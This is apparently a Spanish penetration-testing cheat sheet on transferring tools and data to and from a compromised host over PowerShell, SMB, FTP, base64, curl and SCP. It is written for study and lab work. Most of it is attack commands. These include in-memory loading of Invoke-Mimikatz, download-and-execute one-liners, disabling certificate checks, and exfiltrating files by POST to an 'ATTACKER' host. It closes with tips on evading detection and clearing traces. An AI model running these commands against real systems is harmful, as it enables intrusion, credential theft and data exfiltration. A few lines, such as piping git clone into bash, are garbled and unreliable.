Secciones
1. Contexto y Preparación
Imagina que tienes ejecución remota en un servidor (máquina vulnerada), pero existe una política que impide escribir archivos. Necesitas llevar herramientas al sistema remoto. En redes con filtros estrictos (GitHub, FTP bloqueados), exploraremos múltiples canales: HTTP, SMB, FTP, Base64 in-memory, WebDAV, y más.
2. Transferencias en Windows
2.1. Base64 en PowerShell (sin red)
1) Calcular MD5 del archivo local
PS C:\davidalvk> md5sum id_rsa
4e301756a07ded0a2dd6953abf015278 id_rsa
Máquina atacante: Calcula el hash MD5 del archivo local para validar su integridad tras la transferencia.
2) Codificar archivo en Base64
PS C:\davidalvk> cat id_rsa | base64 -w 0; echo
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS...==
Máquina atacante: Convierte el contenido del archivo a Base64 en una sola línea, evitando saltos.
3) Reconstruir archivo en destino
PS C:\davidalvk> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa",
[Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NI...") )
Máquina vulnerada: Reconstruye el archivo a partir de la cadena Base64 recibida.
4) Verificar integridad en destino
PS C:\davidalvk> Get-FileHash C:\Users\Public\id_rsa -Algorithm MD5
Máquina vulnerada: Verifica el hash MD5 del archivo en el destino para asegurar que coincide con el original.
2.2. Descarga por HTTP/HTTPS en PowerShell
1) Descargar archivo con WebClient
(New-Object Net.WebClient).DownloadFile(
'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1',
'C:\Users\Public\Downloads\PowerView.ps1'
)
Máquina vulnerada: Descarga un script remoto y lo guarda en una ruta local.
2) Ejecutar script en memoria
IEX (New-Object Net.WebClient).DownloadString(
'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1'
)
Máquina vulnerada: Carga y ejecuta directamente en memoria un script remoto, sin escribir archivos en disco.
3) Usar Invoke-WebRequest + IEX
Invoke-WebRequest 'https://<ip>/PowerView.ps1' -UseBasicParsing | IEX
Máquina vulnerada: Usa Invoke-WebRequest con parsing básico para obtener y ejecutar el contenido.
4) Desactivar validación SSL
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Máquina vulnerada: Desactiva la validación de certificados SSL para evitar bloqueos por errores de certificado.
2.3. Descarga SMB
1) Iniciar servidor SMB con Impacket
sudo impacket-smbserver share -smb2support /tmp/smbshare
Máquina atacante (Linux): Levanta un servidor SMB compartiendo la carpeta /tmp/smbshare
.
2) Copiar archivo desde SMB
copy \\192.168.220.133\share\nc.exe C:\Temp\nc.exe
Máquina vulnerada: Copia el binario nc.exe
desde el recurso SMB a la ruta local.
3) SMB con autenticación
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
Máquina atacante (Linux): Arranca el servidor SMB con autenticación de usuario y contraseña.
4) Mapear unidad SMB y copiar
net use N: \\192.168.220.133\share /user:test test
copy N:\nc.exe C:\Temp\nc.exe
Máquina vulnerada: Mapea la unidad SMB a N:
usando credenciales y copia el archivo deseado.
2.4. Descarga FTP
1) Levantar servidor FTP con pyftpdlib
sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21
Máquina atacante (Linux): Instala pyftpdlib
y levanta un servidor FTP local en el puerto 21.
2) Descargar archivo FTP con WebClient
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt',
'C:\Users\Public\ftp-file.txt')
Máquina vulnerada: Descarga un archivo vía FTP y lo guarda en la ruta especificada.
3) Sesión FTP automatizada
echo open 192.168.49.128 > ftpcommand.txt
... echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
Máquina vulnerada: Automatiza una sesión FTP con un script de comandos para subir o bajar archivos.
2.5. Subida de Archivos en Windows
1) Codificar hosts en Base64 y enviar
$b64 = [Convert]::ToBase64String((Get-Content -path C:\Windows\system32\drivers\etc\hosts -Encoding byte))
Invoke-WebRequest -Uri http://ATTACKER:8000/ -Method POST -Body $b64
Máquina vulnerada: Codifica en Base64 un archivo de hosts y lo envía al atacante mediante POST HTTP.
2) Escuchar y reconstruir Base64
nc -lvnp 8000 > out.b64
echo out.b64 | base64 -d > hosts
Máquina atacante: Recibe la cadena Base64 en el lado atacante, decodifica y recrea el archivo original.
3) Copiar archivo a recurso SMB
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
Máquina vulnerada: Sube un archivo al recurso compartido SMB destino.
4) Subir archivo vía FTP
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts',
'C:\Windows\System32\drivers\etc\hosts')
Máquina vulnerada: Utiliza WebClient para cargar un archivo local hacia un servidor FTP.
5) Script FTP de Windows para PUT
echo open 192.168.49.128 > ftpcommand.txt
... echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
Máquina vulnerada: Script FTP de Windows para subir el archivo de hosts al servidor remoto.
3. Transferencias en Linux
3.1. Base64 en Bash (sin red)
1) Generar MD5 del archivo local
davidalvk@hacker$ md5sum id_rsa
4e301756a07ded0a2dd6953abf015278 id_rsa
Máquina atacante: Genera el hash MD5 para comprobar luego la integridad.
2) Codificar en Base64
cat id_rsa | base64 -w 0; echo
Máquina atacante: Codifica el archivo en Base64 en una línea para copiarlo más fácil.
3) Decodificar Base64 en destino
echo '<string>' | base64 -d > id_rsa
Máquina vulnerada: Decodifica la cadena Base64 y crea el fichero id_rsa
en destino.
4) Verificar integridad
md5sum id_rsa
Máquina vulnerada: Verifica que el hash del archivo recreado coincide con el original.*
3.2. Descarga con wget y curl
1) Descargar con wget
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
Máquina vulnerada: Descarga un script remoto y lo guarda en /tmp/LinEnum.sh
usando wget.
2) Descargar con curl
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Máquina vulnerada: Hace lo mismo que wget, pero con curl.*
3.3. Descarga con Python como fallback
1) Descargar con Python
python3 -c "import urllib.request; urllib.request.urlretrieve('http://.../file','/tmp/file')"
Máquina vulnerada: Usa Python estándar para descargar recursos HTTP si wget/curl no están disponibles.*
3.4. Métodos sin archivos (piping)
1) Piping con curl
curl http://.../script.sh | bash
Máquina vulnerada: Descarga y ejecuta un script en una sola tubería, sin escribir el archivo.*
2) Piping con git clone
git clone ... | bash
Máquina vulnerada: Clona un repositorio y pasa su salida directamente a un intérprete.*
3.5. Transferencias SSH/SCP
1) Descargar archivo con SCP
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe
Máquina atacante: Copia un archivo desde el host remoto hacia la máquina local usando SCP.*
2) Subir archivo con SCP
scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip
Máquina atacante: Enviar un archivo local al sistema remoto empleando SCP.*
4. Consejos Finales
- MD5/SHA: siempre valida integridad.
- Evita payloads largos: PowerShell en cmd tiene límite de 8191 caracteres.
- Firewalls y filtros: prueba varios puertos (80, 443, 445).
- LOTL: usa binarios nativos para evitar detección.
- Registro: limpia rastros y monitoriza tus herramientas.